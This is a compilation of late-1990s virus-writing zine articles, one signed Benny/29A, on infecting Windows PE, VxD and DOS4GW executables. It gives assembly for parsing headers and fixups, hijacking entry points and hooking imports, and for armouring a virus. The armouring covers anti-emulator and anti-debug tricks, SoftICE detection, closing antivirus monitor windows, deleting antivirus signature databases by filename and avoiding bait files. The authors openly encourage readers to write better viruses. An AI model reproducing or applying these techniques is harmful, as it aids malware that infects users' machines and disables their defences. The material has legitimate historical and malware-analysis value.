AddressOfEntryPoint RVA adress of entry pointu (relative 2 ImageBase)
ImageBase starting on this adress all the sections are mapped
SectionAlignment alignment of the sections (I386=0x1000)
FileAlignment alignment of the file
SizeOfImage size in bytes including all headers, has 2 be multiple of object align
(allocated for code and data)
SizeOfHeaders size of headers (including all section headers)
CheckSum checksum - the same as in DOS - ignored
Subsystem this tells the OS wheather it is windowed or console aplication
DataDirectory this is a field belonging to the structure containing RVAs and sizes of some
important tables
PE code and data are divided to sections. Each section has its description in header. Main purpose of this is
to tell loader where in address space should be data stored, how big area should be allocated and what
attributes should be set for them. For example code section should start at 4000000h and should be read
only and executable. Special attribute for section is SHARED. If section is shared all instances of this
program has this sections common. It means if one of them modifies something in section all instances can
see it.

Some word of explanation to the RVA (RelativeVirtualAdress). All the complicated operations as e.g.
relocation etc... is are performed AFTER the file is mapped to the memory. If we add to the RVA value the
ImageBase, we get the pointer directly to the memory adress where the desired piece of information is
mapped. Without mapping the problem is much harder, cos we need to search through all the sections and
find the one RVA points to.
(VirtualAddress<RVA<VirtualAddress+SizeOfRawData)

and offset in the file could be calculated as:


file_off = PhysicalAddress + RVA-VirtualAddress

And now there are only three problems to solve

1. where should we store virus body


2. how to make our fine virus the supreme commander in the system (aka
we_need_to_be_first_on_the_draw)
3. how to call API functions

1. Where to store the virus body


Before we will go any further, we should notice, that none of us known implementation of Window$ that
checks if we execute the code in sections which is declared as data (cool enough ... :-P). This is the fact all
the viruses (and packers as well) heavy relies on.

As for the storage of the body, i saw till now 3 different strategies.

Common strategy is based on the extending the last section. In such a case is "conditio sinne qua non" -
basic condition the section should be writeable in the section attributes (Intel platform could check it). As for
the implementation of this method, it easy as it could only be, but for resident viruses we can got in to the
trouble.... Physical data in the section can be followed by uninitialized data, which can be changed by the
program. This means our fine piece of code may become fucked up. Therefore whole viral body should be
moved elsewhere.

Another method is to create new section in the file and copy virus body there. This approach has one major
disadvantage (which is nearly impossible to solve) - nonstandard section name could arise a suspiction of
something not very pleasant going on, not speaking of the situation header is to small for adding another
section. Contrary, advantage is we have our section just for us, nobody can overwrite the virus. As for the
implementation, trivial again in comparision with before mentioned method we have one aditional task - we
need to know, where last section ends.

One of the non-standart method is the one used by CIH virus. This is all about the using the free space in
sectors which are aligned to FileAlignment value (0x200 by default). This technique is very clever (invented
by some as Germans use to say "Klugscheisser") as we get bonus in some cases there is no increase in file
lenght plus the virus is harder to clean. This method will not be in the focus of this article as for the larges
viruses in not suitable.

Main disadvantage of the first two methods is the code runs in the last section. And if some emulator get
here, there are just and only 3 options left.

1. virus
2. packer
3. some anti-whatever envelope

But solution is up to you - probably best way would be to use CIH approach and place entry point in the first
sections.

2. we_need_to_be_first_on_the_draw
how to make our fine virus the supreme commander in the system

Most trivial solution is to modify AdressOfEntryPoint in the PE header to point to start of added (viral) code.
In plain words put there RVA of virus entry point. Nothing more nothing less.

More rafined methods are e.g. to hook some import (let's say CreateFileA or whatevever is on 100% callled
in every proggy) or even hook export in DLL's so every call to DLL goes through virus. This approach is not
trivial as complicated search in structures is required. Some of the options will be covered in next section.

3. How to call API functions


This is the key problem of all the viruses. This problem could be transformed in the question - what API calls
i need to get pointer to whatever API function?

Answer is GetModuleHandle and GetProcAdress. If we have pointers to this functions we can get pointer to
any function we want.
Both of this two API calls are exported from kernel32.dll. As i haven't seen any application not importing
something from this important system module we can perform test if the file we want to infect imports from
kernel32.dll.

Then we have to search in import table and look for this two functions. If we find them, the file is suitable
target for the infection.
Imports in PE file work that way they point to some dword and in this dword will be set address of imported
function. All the requests in the file for specific API function will look like
call dword ptr [dddd]

Advantage for us is there is no problem to hook function and at each call to this function do "something".
To the import table we will get throug DataDirectory (i think index 1). This should point to the array of
structures IMAGE_IMPORT_DESCRIPTOR. Last element of the array should have Characteristics set to 0.
Name is RVA pointer to the name of the module from which the import is performed. OriginalFirstThunk
points to array of type IMAGE_THUNK_DATA from which we can get the name of the function. Let's saz the
function has index i. Then pointer to function f in imports will be i-th element of the dword array, to which
FirstThunk points. Last element of the array of type IMAGE_THUNK_DATA is zero.

I recommend to see it all in HIEW and then in debugger search where the desired functions are.
//
// Import Format
//
typedef struct _IMAGE_IMPORT_BY_NAME {
WORD Hint;
BYTE Name[1];
} IMAGE_IMPORT_BY_NAME, *PIMAGE_IMPORT_BY_NAME;
typedef struct _IMAGE_THUNK_DATA {
union {
PBYTE ForwarderString;
PDWORD Function;
DWORD Ordinal;
PIMAGE_IMPORT_BY_NAME AddressOfData;
} u1;
} IMAGE_THUNK_DATA;
typedef IMAGE_THUNK_DATA * PIMAGE_THUNK_DATA;
#define IMAGE_ORDINAL_FLAG 0x80000000
#define IMAGE_SNAP_BY_ORDINAL(Ordinal) ((Ordinal & IMAGE_ORDINAL_FLAG) != 0)
#define IMAGE_ORDINAL(Ordinal) (Ordinal & 0xffff)
typedef struct _IMAGE_IMPORT_DESCRIPTOR {
union {
DWORD Characteristics; // 0 for terminating null import descriptor
PIMAGE_THUNK_DATA OriginalFirstThunk; // RVA to original unbound IAT
};
DWORD TimeDateStamp; // 0 if not bound,
// -1 if bound, and real date\time stamp
// in IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT (new BIND)
// O.W. date/time stamp of DLL bound to (Old BIND)
DWORD ForwarderChain; // -1 if no forwarders
DWORD Name;
PIMAGE_THUNK_DATA FirstThunk; // RVA to IAT (if bound this IAT has actual
addresses)
} IMAGE_IMPORT_DESCRIPTOR;
typedef IMAGE_IMPORT_DESCRIPTOR UNALIGNED *PIMAGE_IMPORT_DESCRIPTOR;

As I mentioned before, there is no need to do all fixups while file is being infected. It is either possible to do it
after file is loaded. Just find old 'MZ' header and trace file structure. (What is nice, rva are almost valid
pointers so you need just to add base address and you can follow any structure). After you find first export to
Kernel32 use the same method to find start of kernel32 and then follow export table ...

As for the exports it's much easier, but i had no time for experiments and will let this problem open. If you
want know more, look for it in some PE doxes (RTFM).

I would like to point to the fact the article has been written more or less using just and only my memory (my
degenerated gray cell mass), has not been subject to verification and thus i can't guarantee any fact
presented here is true :))))))
If you are interested in the problem, you should see it again elsewhere, in some more reliable refference.

And finally, some warm closing words. If the fucking proggy doesn't work and you poor guy did check it all
over and over about 10 times, try to find that bug in the Windows loader.

Navrhar
In this article I will announce my aproach to infection of strange platforms as are Windows VxD or dos
DOS4GW. Both platforms are running under similar environment - in FLAT memory model both are extended
32-bit so this is the reason why I have dealed with both of them.

So let's start
In both cases we will infect host with small loader, that will load and execute main part of virii. This strategy is
nice because there is no code executed in last section and so on.
LE (as I will call LX too, because there are similar or even the same), is intel friendly, because it uses 4096
bytes long pages. Each section is aligned to page. This means, that in average case 2000 bytes in code
section is unused and free. Nice, isn't it :-). This wasting of space we will use to insert our short "loader" that
will load other stuff from end of file (if you want, it may be placed elsewhere, or you may groove last section -
i have a feeling that there may be debug info or other shit, so not so fast) and execute it. Because of flat
model and you never knows where will you be loaded, this piece of code must be self-relocating. Enough of
talking, go on.

VxD starts as regular dos-executable with pointer to next header at 3Ch (just like in PE). With DOS4GW it is
a bit difficult. DOS4GW starts with some stupid stub, that will load main LE/LX executable. I don't deal with
this too much, I just looked at some Dos4GW and wrote this part of code

readfile is macro as follows:


readfile ofs, size, buf
reads at offset ofs+file_base+objectr size bytes to buffer buf

; check if WATCOM ? loader


mov file_base, 0 ; base of start of LX (to skip stubs)
mov objectr, 0
cmp byte ptr infmode, INF_DOS4
jne short continue_vxd
readfile 0h 16 le_header ; check exe signature
cmp word ptr le_header, 'ZM'
je short ok001
cmp word ptr le_header, 'MZ'
jne novalidvxd
ok001:
movzx esi, word ptr [le_header+4]
dec esi
shl esi, 9
movzx ebx, word ptr [le_header+2]
add esi, ebx
readfile esi 24h le_header
cmp word ptr [le_header], 5742h ; some kind of executable?
jne short continue_vxd
add esi, dword ptr [le_header+20h]
mov file_base, esi
continue_vxd:

now file_base should point to regular DOS 'MZ' exacutable with dword at 3ch set as it should have. So just
get start of LE header like this and check some formalities:
readfile 3ch 4 le_seek
; read le header
readfile le_seek 100h le_header
; check 4 signature
cmp word ptr le_header, 'EL'
jne nole
; check if pages are 4096 bytes long
cmp dword ptr le_header+28h, 1000h
jne nole
; ...

Now we have to understand some LE specific stuff. At first LE is fragmented to sections (similary like PE).
Sections are called Objects here. Objects are in header and there is usually not enough space to create your
own object. This code will compute offset of eax-th section descriptor:
; compute object descriptor offset in file (relative to file_base)
; eax - object num
getobjptr:
shl eax, 3
lea eax, [eax+2*eax-24] ; first object is num 1
add eax, dword ptr le_header+40h
add eax, leseek
ret

Object descriptor structure is as follows:


object_desc label byte ; object info record
virtsize dd 0 ; object virtual size
virtbase dd 0 ; object virtual base
flags dd 0 ; flags
pageindex dd 0 ; page index ...
pageen3z dd 0 ; num of page entriez
dd 0 ; alignment?
object_desc_len = $-object_desc

This offset of object in file should be computed as


objectr = *(dword *)[le_header+80h] + pageindex<<12

Object in file is (of course) not fragmented. It starts at objectr and ends at (objectr+pageen3z<<12-1)

The second new entity in LE are entries. This is some kind of exports in PE. This is how to assume offset of
eax-th entry: (objectr will point to start of entry).
; this will assume entry eax (read and write will be relative to this)
; assume entry eax - entry num
le_assume_entry:
; relative to header
mov edx, leseek
mov objectr, edx
; get entry offset in file
add eax, eax
lea eax, [eax+4*eax+1] ; * 10 + 1
add eax, dword ptr le_header[5ch]
; read entry descriptor
mov ecx, 10
lea edx, buffer
call rdfile
; get object num
movzx eax, word ptr buffer+1
; assume this object
call le_assume_object
; add relative entry offset
mov eax, dword ptr buffer+4
add objectr, eax
mov objoffset, eax
ret
And the last thing you need to know about are relocations. Because code may be stored anywhere between
0-4GB, each access to memory has to be relocated. (The only one exceptions are jumps which are relative
to itself). Because of this LE has very complex structure of relocation (much more complicated than PE).
Because of complex structure of relocations, many compilers are seting values to be relocated to 0.
If you really want to deal with this i will advise you to some documentation. But if you don't this is a fragment
of code that scans for relocation:

This is code i wrote to parse relocation table and to find some relocation that relocates eax: I wrote it so far
ago so i will be not trying to explan this - just see documentation (as far as i know there is no good
documentation :-( ).
; finds fixup for eax in fixup table that relocates eax
; sets fixupptr = ptr to entry in fixup table (relative to filestart)
; parses whole fixup table in order to find an entry and create relo map
; eax = pointer to find
find_fixup:
mov edi, eax
xor eax, eax
mov fixupptr, eax
mov fix32, al
mov fix_important, al
; allocate table for relos
mov eax, RELO_TABLE_SIZE/8
mod_call md_alloc
mov relo_map_ptr, eax
; make whole area unusable
push edi
mov edi, eax
xor eax, eax
dec eax
mov ecx, RELO_TABLE_SIZE/8/4
rep stosd
pop edi

; walk across all objects and process some of them


xor eax, eax
inc eax
@@loop_section:
push eax
; eax = object ptr
call le_assume_object
mov eax, leseek
mov objectr, eax ; base to LE filestart
test flags, 10100000b
jnz @@skip_this_object

mov eax, objpage


mov temp_base, eax
; get size of object
mov ecx, pageen3z
push ecx
shl ecx, 12
call zero_out_block
pop ecx
mov eax, pageindex
; walk through page map and fixup entries
@@process_page:
push eax ecx
; load item
; 4 bytes long entry
dec eax
shl eax, 2
add eax, dword ptr [LE_header +48h]
mov ecx, size page_map_table_entry
lea edx, page_desc
call rdfile
; doesn't work on VxD LE files
; cmp page_desc.page_type, 0
; je @@hardcopy_no_work
movzx eax, page_desc.fixup_index
xchg al, ah
; now get ptr to relocation by index
push eax
dec eax
shl eax, 2
add eax, dword ptr [LE_header+68h]
lea edx, fixup_cur
xor ecx, ecx
mov cl, 8
call rdfile ; in this table is one entry with no meaning, just
; identifying end
pop eax
mov ecx, fixuptrnext
mov eax, fixup_cur
sub ecx, eax
add eax, dword ptr [LE_header+6ch]
; eax points to fixup table
; process ecx bytes from fixup record
add ecx, eax
sub edi, temp_base
@@loop_this_page:
cmp eax, ecx
jae @@just_done
@@cont_relo:
push eax ecx
; load relocation in buffer
lea edx, buffer
mov ecx, 20h
call rdfile

; process relocation
lea esi, buffer
xor eax, eax
; get first byte
lodsw
mov ecx, eax
; test if single
test cl, 20h
jnz @@multiple1
lodsw
call set_eax
cmp eax, edi
sete fix_important
jmp @@not_multi
@@multiple1:
lodsb ; count
mov dl, al
@@not_multi:
; check for unknown relocation
mov eax, ecx
and ax, 0001100001111b
cmp ax, 7h
je @@type_78
cmp ax, 8h
je @@type_78
; marker 'unknown relocation'
; raise_x INF_FILE_FATAL
@@type_78:
; assume object is 8 bit
lodsb
; if important object store ptr and size
cmp fix_important, 1
jne @@no_important
mov fixupptr, esi
sub fixupptr, offset cs:buffer
mov eax, dword ptr [esp+4]
add fixupptr, eax
mov eax, objectr
add fixupptr, eax
xor eax, eax
test ch, 10h
setnz fix32
@@no_important:
lodsw
test ch, 10h ; check if 32-bit
jz @@fixed
lodsw
@@fixed:
test cl, 20h
jz @@nomultiple2
mov @@prefix, 66h
test cl, 10h
jz @@no_prefix_chg
; marker '32-bit repeated relo'
mov @@prefix, 90h
@@no_prefix_chg:
movzx ecx, dl
@@enz:
@@prefix db 66h, 0adh ; lodsw
call set_eax
loop @@enz
@@nomultiple2:
pop ecx eax
sub esi, offset cs:buffer
add eax, esi
jmp @@loop_this_page
@@just_done:
add edi, temp_base
; done
@@hardcopy_no_work:
pop ecx eax
inc eax
add temp_base, 1000h
dec ecx
jnz @@process_page

@@skip_this_object:
pop eax
inc eax
cmp eax, dword ptr [le_header+44h] ; cnt of objects
jbe @@loop_section
ret
set_eax:
push eax ebx
add eax, temp_base
shr eax, RELO_TABLE_BLOCK_SIZE
cmp eax, RELO_TABLE_UPPER_LIMIT
ja @@err
mov ebx, relo_map_ptr
btr dword ptr [ebx], eax
pop ebx eax
ret
@@err: ;marker 'RELO_TABLE_EXCEED'
pop ebx eax
ret

zero_out_block:
push eax ebx ecx
mov ebx, relo_map_ptr
shr eax, RELO_TABLE_BLOCK_SIZE
@@zero_out_next:
btr dword ptr [ebx], eax
inc eax
cmp eax, RELO_TABLE_UPPER_LIMIT
jae @@cln_exceed
sub ecx, (1 shl RELO_TABLE_BLOCK_SIZE)
jb @@zero_out_next
@@cln_exceed:
pop ecx ebx eax
ret

This is way i proceed VxDs:


1. some check
mov eax, dword ptr le_header+18h ; entry object
or eax, dword ptr le_header+1ch ; entry offset
jne novxd ; seems to be a real executable ! ; UPDATE

2. check if there is enough space in code section. i assume code section is section 1 (first section).
3. assume DDB entry - this is entry that describes VxD in Windows this contains pointer to control
dispatcher. This is a functions that handles various events, and this is how we get to turn. Pointer to
dispatcher is first 4-bytes of DDB
4. find fixup for dispatcher
5. write your code to end of code section, groove this section and change fixup to start of your code. be
sure that after end of your loader you return control to previous dispatcher. Note: the value of
relocation is more trustable than value in DDB

And what your dispatcher should do:


1. test for special event (number in eax). I used 2 (Init_Complete) that is sent to all VxDs after init of
windows is complete.
2. check wether there is anybody resident (because you are at VxD level, you have full control of
computer, you don't need to have multiple instances)
3. load your dropper from end of file (file name will be stored by infection - vxd should not be moved)
4. run your code

Some hints on ring 0


Of course after your code is running in the memory you may do anything what may a regular VxD do.
There are no restrictions. At first because interface for VxD calls. Every VxD call looks like this:
db 0cdh, 20h, xx, xx, xx, xx

where xx xx xx xx is number of service. It means there are no imports and exports needed. After this
code is executed it is patched to
call dword ptr [addr]

where addr is pointer to some internal table where is stored pointer to function. You must agree this
was designed for viruses to get control over service. This may be useful, when you want to check
wether you are resident or not.
About hooking filesystem just see IFS_Mgr_InstallFileSystemApiHook
And for last dont forget in_resident flag and mutexes or other synchronizing stuff.

That's all about this .... happy coding

And now some few words about DOS4GW LE:


In DOS4GW you may relay to DPMI (that should be supportet quite good) under any platform it works.

1. get entry point at le_header+1ch is offset (relative to start of section and at le_header+18h is object no
2. groove object (if enough space) and store loader at end of section
3. set new entry offset

You don't need to deal with fixupps and other shit.

Your loader will do this:

1. start with short jump followed by "WATCOM" if this is not loader will say something like "Invalid
executable" and this is way how to test wether executable is compiled by WATCOM too
2. load code from end of file and run it (environment segment is at ES:2C like usually, you may use dos
services (int 21h) and DPMI (int 31h) - that is all you need)

As you see DOS4GW is pretty easy target ...

What to say at the end? ... do your best!


Disclamer
The followin' document is an education purpose only. Author isn't responsible for any misuse of the things
written in this document.

Foreword
Every good virus should be armoured. Armoured means have some features, by which will be harder to
detect, harder to emulate, harder to disassemble, harder to trace, harder to monitor or harder to understand.
I will discuss here all techniques, which has some special meaning in virus programming.

Introduction
Actually, there r many ways, how to protect virus against AVs and Averz under so weird interface as Win32
is. Something is often used, something isn't. Here is a "short" list of techniques, which I will describe:

anti-emulator
anti-heuristics
anti-analysis (anti-disasm)
anti-debug
anti-monitor
anti-antivirus (retro)
anti-bait

Anti-Emulator - fool AVs by some tricks


By heuristic analysis, AVs SHOULD be find every virus, even unknown one. It worx like coder, which
debugging some program. Heuristic scanner passes thru the code and looking for some suspicious code. It
may be procedure for searching APIs, procedure to jump to ring-0, working with wildcards of executable
files, opening executable file for write etc... Heuristic analysis is very good idea, nevertheless, not very well
realised. AVs have many bugs and "sometimes", they can't recognize viral code. Some heuristic scanners
have problems with undocumented opcodes, another scanners can't work with selectors and almost every
scanner can't handle stack properly. Here r the techniques, which r used by many viruses and which still
seems to be problem for heuristic scanners:

Use selectors and stack


mov eax, ds ;load DS
push eax ;some
pop ds ;stuff
mov ebx, ds ;load DS again
cmp eax, ebx ;compare selectors
jne emul_present ;if not same, quit

or
mov edx, esp ;load ESP
push cs ;some
pop eax ;stuff
cmp esp, edx ;compare stack pointer
jne emul_present ;quit if not equal

Use RETF instruction


push cs ;store CS
push offset label ;store address of procedure
retf ;and go there

Use undocumented opcodes


db 0D6h ;SALC
db 0F1h ;BPICE

And more...

Anti-Heuristics - fool AVs by advanced technologies


Anti-Emulator uses holes in heuristic scanners. But at Anti-Heuristic case, we uses more advanced
technology to fool AVs. If AVerz were able to "patch" holes in AVs, here it won't be so easy. They will need to
rebuild their emulator and add new features (e.g. support of SEH). In DOS-viruses beginnings, viruses tried
to hook Int 0 (divide by zero) and then divided register by zero. This caused, that execution was redirected to
another place. AVerz had to rebuild their heuristic analysis to support hooking of interrupt vectors. This is
perfect example of anti-heuristic technology. Next good example is poly-layered polymorphic decryptor. Time
didn't chang so much and we use similar techniques to cause AVs to support newer and newer techs. Here r
some examples:

Use Structured Exception Handling


@SEH_SetupFrame <seh_proc> ;setup SEH handler to seh_proc
xchg [edx], eax ;cause GP fault
... ;garbage code
seh_proc:
@SEH_RemoveFrame ;remove SEH handler
... ;code continue here

Use threads and fibers


Use pentium+, copro, MMX, 3DNow! opcodes
Implement metamorphism to your virus
Implement mid-infection and EPO (EntryPoint Obscuring) techniques
Redirect code to another place by callbacks
And so on...

Some coderz call this technique as anti-emulator and previous as anti-heuristic. I don't know, which
expresion is right (nobody knows :D) and I don't care. I think, that previous stuff was clear...

Anti-Analysis - fool disassemblers by some tricks


Good virus should use some tricks, by which some curious ppl (such as AVers) won't be able to analyse it
much easy. Really, there ain't anything easier for AVer than open IDA or Sourcer and see whole code as it
was original source. Static analysis is very frequently used to analyse virus, don't forget it. Those tricks r still
same and some of them r also used as Anti-Debugging technique.
Encrypt/cipher your virus as much as possible
Don't code generic delta offset stuff, rather use:
call label
gdelta: db 0b8h ;MOV opcode
label: pop ebp ;get delta offset
... ;next code
mov eax, [ebp + variable - gdelta] ;example of handling EBP

Use jump into instructions


jmp opcd+1 ;jump into instruction
opcd: mov eax, 0fcebfa90h ;NOP, CLI, infinite loop

Use prefixes (similar as in delta_offset example)


proc1: movzx ecx, word ptr [edi+4] ;some code
ret ;quit from procedure
db 0b8h ;prefix (MOV EAX, ...)
proc2: mov eax, [edi+3ch] ;some code
ret ;quit from procedure

Patch dynamic code at run-time (this can be also called as anti-heuristic if u will patch code in some
hidden procedure, such as in thread etc...)
call label
patch: ... ;some garbage code
jmp shit ;...
... ;normal code
label: mov [patch], 90909090h ;overwrite garbage with NOPs
ret ;and quit from procedure

Anti-Debug - harder to analyse


In previous examples we tried to fool machines - emulators and disassemblers. But now, we will try to fool
AVerz, and that's very hard. AVerz aren't dumb (mmm, ofcoz there r some exceptions :D), so it is very
important to make analysis of your virus harder. As much as possible. If virus cannot be analysed by
disassembler, AVerz uses debuggers. Debuggers r easily detectable (Win32 interface allows it to us), but
their detection mechanism shouldn't be very visible (AVerz can simply jump over the code).

Use Win98/NT API to detect API level debugger - IsDebuggerPresent


call IsDebuggerPresent ;call API
xchg eax, ecx ;result to ECX
jecxz debugger_not_present ;if ZERO, debugger not present

Check context of debugger


mov ecx, fs:[20h] ;load context of debugger
jecxz debugger_not_present ;if ZERO, debugger not present

Use Structured Exception Handling (see Anti-Heuristics)


Use VxD service (Ring-0 only) to detect drivers in memory - Get_DDB
mov eax, 202h ;SoftICE ID number
VxDCall Get_DDB ;call service
xchg eax, ecx ;result to ECX
jecxz sice_not_present ;SoftICE not present

Use Win32 compatible way to detect drivers in memory - CreateFileA


xor eax, eax ;EAX=0
push eax ;parameters
push 4000000h ;for
push eax ;CreateFileA
push eax ;API
push eax ;function
push eax ;...
push offset sice ;name of driver
call CreateFileA ;open driver
inc eax ;is EAX==0?
je sice_not_present ;yeah, SoftICE is not present
dec eax ;no,
push eax ;close its handle
call CloseHandle ;...
... ;and make some action
sice db '\\.\SICE',0 ;SICE driver under Win9X
;sice db '\\.\NTICE',0 ;SICE driver under WinNT

Play with debug registers (Ring-0 only)


mov eax, '****' ;set already_infected mark
mov dr0, eax ;to dr0

Calculate CRC32 and check it at virus start. It prevents from inserting breakpoints to code.
Play with paging and SMM mode (see XiNE#4)

Anti-Monitor - killing watch-dogs


Resident shields (monitors) r resident programs used to catch viruses. Monitors r activated, when executable
files (usually) r opened, closed, executed, etc... Virus can be cought by monitor not only when infected file is
being executing, but also when file is being copying. This on-line virus security is very efficent and many
stupid users have installed some monitor. That's a problem. If monitor is installed as standard Win32
application in memory, it won't be big problem to get rid of that. Bad stuff is that this code doesn't work on
AVs, which use special driver (VxD, WDM, ...) to control file access.

Firstly we have to find window, which will we close. We will use FindWindowA API:
wAVP db 'AVP Monitor',0 ;window title
...
mov eax, offset wAVP ;window title
push eax ;push parameter
cdq ;EDX=0
push edx ;window class - NULL
call FindWindowA ;find window
xchg eax, ecx ;swap EAX with ECX
jecxz quit ;if ECX=0, quit

If AVP monitor window exists, we have window handle in EAX register. Otherwise, EAX is NULL. We will use
that handle to send close message:
push edx ;NULL parameter
push edx ;NULL parameter
push 12h ;WM_QUIT message
push ecx ;window handle
call PostMessageA ;send message!

Geee, and AVP monitor is away! I also tested it with NODICE and it also worked. U can close another
monitors, if u know titles of their windows.

Anti-Antivirus - destroy your enemy!


If u wanna be sure, that stupid user won't find your virus, then correct that "problem" on AV side - erase or
modify AV crc files and AV databases. Here r the most important files, which should be erased (mm, but
don't forget that after u delete viral database, AV won't run) or in better case - only modified (e.g. delete virus
from database):
*.AVC - AVP viral database
AVP.CRC - AVP crc file
*.VDB - DrWeb viral database
NOD32.000 - NODICE viral database
ANTI-VIR.DAT - TBAV crc file
CHKLIST.MS - MSAV crc file
+ some other old AV crc files

Anti-Bait - don't infect AV files


Baits r mostly silly do-nothing programs and the only one purpose of their existency is to be infected by virus.
That program can be easily analysed, easier than winword.exe, for example. And becoz we wanna make job
to AVs as hard as possible, we r tryin' to not infect those shitty programs. Baits r usualy named as
00000000.EXE, 00000001.EXE, 00000002.EXE, etc. The first advice is don't infect files with digits in its
name. But take care! Many normal programs has digits in its name, such as winrar95.exe or wincmd32.exe.
So, if u don't wanna infect baits, but wanna infect standard applications, check, if filename contains digits at
all 4, 6 or 8 positions. How easy...X-D

Closin'
I hope this article will help u with coding under Win32 and u will find it useful. If u didn't understand
everything, then read it again or cotact your netwerk supervisor :)). Don't forget to use some techniques from
this article to be sure your virus will be better than average.

Benny / 29A, 1999


Disclamer
The followin' document is an education purpose only. Author isn't responsible for any misuse of the things
written in this document.

Foreword
Threads r relatively new, but very useful and very perspective feature/tech used by some new Win9X/NT
viruses. This article describes everything important about threads. Becoz I wrote many multithreaded viruses
and actually I'm coding new one, I decided to write this. Everything, what is described here I researched - so,
be tolerant to this - this article ain't for lamerz and I expect, u will research a bit on it and won't only rewriting
existing code.
This is my third article about threads. If u would like to read my first articles, then u have to wait for 29A#4
releasion (there r explained more details with more examples). Be patient and promise me u will read it :)

Introduction - why threads?


In my opinion, to know threads is must. If someone doesn't know threads, then he doesn't know Win32.
That's a shame - many VXerz which code for Win32 doesn't know threads, albeit it has many advantages. I
think it is same "kewl and useful technology" as was polymorphism.
Well, here comes the main question - what is thread? It is hard to explain to someone, who doesn't know
what processes. Ok, then, what is process?

Processes - definition
Process is defined as one instance of running program. Example: u have one program - calculator. If u will
have three calculators running, u still have one program, but also three executed processes. Oppositely to
Win16 interface, process in Win32 is nonactive. Process can only own something - 4GB private address
space, code, data, handles, allocated memory, kernel objects and such like. Everything allocated by process
or system is automatically dealocated after process will quit. Process can't execute code.

Threads - definition
Thread is kernel object and is owned by process. Thread is executing code. Where in Win16 operating
system was swiching (commiting processor time) between tasks (processes), in Win32 is operating system
switching between threads. Process can create so many threads as it want (blah, it's limited by memory and
DWORD capacity :D). Imagine this situation: u have executed one instance of Calculator and WinWord.
Calculator has only one thread and WinWord has five threads. In that case, operating system will commit
processor time "parallely" to six threads (depending on set priorities) - Win16 could switch only between
processes and there were no threads.
Threads r very often used in Win32. For example, if u wanna print something from some editor, then editor
will create new thread which will service printing and u will still be able to edit text - one thread for editting,
second thread for printing. Big advantage is that all threads r scheduled by operating system. All u need is to
synchronize them - and thats the most difficult.
When new process is created, the system will by default create first thread, also called "primary thread".
Remember it!
Using threads under Win32 environment
Here I will talk about Win32 compatible way of using threads.

1. Theory
Coding threads for Win32 seems easy. In fact, it's easy, but u must know some system structures and
characteristics.
If u will create threads by following API, your code should work on all Win32 platformz. Before we will talk
about creating threads, u should know some important things.

Thread owns its:

context structure
stack

Context structure contains all registers. Everytime, when system switch to another thread, it will restore all
registers from that strucure. Context structure is the only one processor-dependent structure in all Win32.
Every thread has also its own stack allocated in 4GB address space. Standard size of stack is 1MB.

Process can be created by CreateThread API function:

Syntax:
HANDLE CreateThread (LPSECURITY_ATTRIBUTES lpsa, DWORD cbStack,
LPTHREAD_START_ROUTINE lpStartAddr, LPVOID lpvTParam,
DWORD fdwCreate, LPDWORD lpThreadID);
Parameters:
a) lpsa: Pointer to SECURITY_ATTRIBUTES structure. For default security attributes use
NULL value.
b) cbStack: Size of stack. Use NULL for default stack = 1MB.
c) lpStartAddr: Address of thread function.
d) lpvTParam: 32bit parameter which will be passed to thread.
e) fdwCreate: If u want to create thread, but suspend commiting cpu time, then push
CREATE_SUSPENDED. That thread will stay suspended until u call
ResumeThread API.
f) lpThreadID: Must be valid address to DWORD variable. ID of created thread will be stored
there.

This API will create new Win32 compatible thread. As output u will get actual process related handle and
whole-system related ID number. Thread handle as any other handles is valid only for one actual process, ID
number is valid in all system until thread will be closed.

Thread can be terminated by ExitThread or TerminateThread APIs:

Syntax:
void ExitThread (UINT fuExitCode);
This API will terminate actual thread and set exit code to fuExitCode.
Syntax:
BOOL TerminateThread (HANDLE hThread, UINT fuExitCode);
This API can terminate thread handled by hThread handle. Oppositely to previous API, this API
can terminate any thread, not only actual one. But be carefull! If u terminate thread which is
writing to disk, it can cause damages to system!

There r many other APIs for work with threads, but this article ain't so much practical as theoretical. If u r
really interested in thread and if u wanna know more about it, download Win32 SDK or contact me.

2. Synchronization
As I said some minutes before, thread synchronization is something really difficult, if not the most difficult
thing. It is REALLY important to take a special care on it. Becoz threads can run separatelly and
independently from other threads and u want to control all threads u created, u have to SYNCHRONIZE
them.
Remember this:

do not synchronize threads by single variables, rather use kernel synchronization objects!
principle of synchronization: sleep the thread until the thread or another kernel object will be signalised,
which in the simple words means: until thread will be terminated (it ain't so simple as I said, but in this
sample its enough for u).
when thread is in sleep state, CPU won't commit CPU time to thread and so it won't slow the computer.
when thread is not in sleep state, CPU will commit CPU time.

Thread can suspend itself from commiting CPU time until kernel object will be signalised (in our case
terminated). For that purpose there is one API in Win32 interface called WaitForSingleObject:

Syntax:
DWORD WaitForSingleObject (HANDLE hHandle, DWORD dwMilliseconds);
Parameters:
a) hHandle: H andle to kernel object.
b) dwMilliseconds: Number of milliseconds to wait. If u want to wait until object will be signalised
for unlimited time, pass -1 to this API.
Return values:
-1 The function failed, u can get extended error code by calling GetLastError API.
0 If object has been signalised.
80h Thread waited for signalisation of object and object was signalised coz object has been
abandoned.
102h Object hasn't been signalised in time spec. by dwMilliseconds parameter.

3. Practice
Ok, I hope u understood everything and if not, u will do so after some examples. The easiest, but the least
efficent idea is:

1. Create new thread and make all viral actions inside it (see CreateThread API)
2. Sleep primary thread until primary thread will be finished (see WaitForSingleObject API)

Example:
... ;some action before
push offset threadID ;where will be stored thread ID
push 0 ;normal thread initialization
push 12345678h ;parameter for thread *)
push offset threadProc ;address of thread function
push 0 ;normal stack - 1MB by default
push 0 ;default security attributes
call CreateThread ;create thread!
push eax ;parameter for CloseHandle **)
push -1 ;wait until thread will be terminated
push eax ;handle of thread
call WaitForSingleObject ;wait!
call CloseHandle ;close thread handle **)
... ;some action after this
threadID dd ? ;variable needed by CreateThread API
... ;some code
threadProc: ;new thread starts here
pushad ;store all registers
mov eax, [esp+24h] ;get parameter passed to our thread *)
... ;some code
popad ;restore all registers
ret ;quit via undocumented way, no need to
;import ExitThread API

By this we will create new thread, wait for its termination and close its handle. Thread will store all registers,
get parameter to EAX register, restore all registers (needed by RET) and terminate thread (and code above
will be able to continue).

Another idea, more efficent is:

1. Create new thread, wait some seconds and make all viral action inside it
2. Jump to host without waiting for thread termination

Example:
... ;some action before
push offset threadID ;where will be stored thread ID
push 0 ;normal thread initialization
push 0 ;parameter for thread
push offset threadProc ;address of thread function
push 0 ;normal stack - 1MB by default
push 0 ;default security attributes
call CreateThread ;create thread!
push eax ;handle of thread
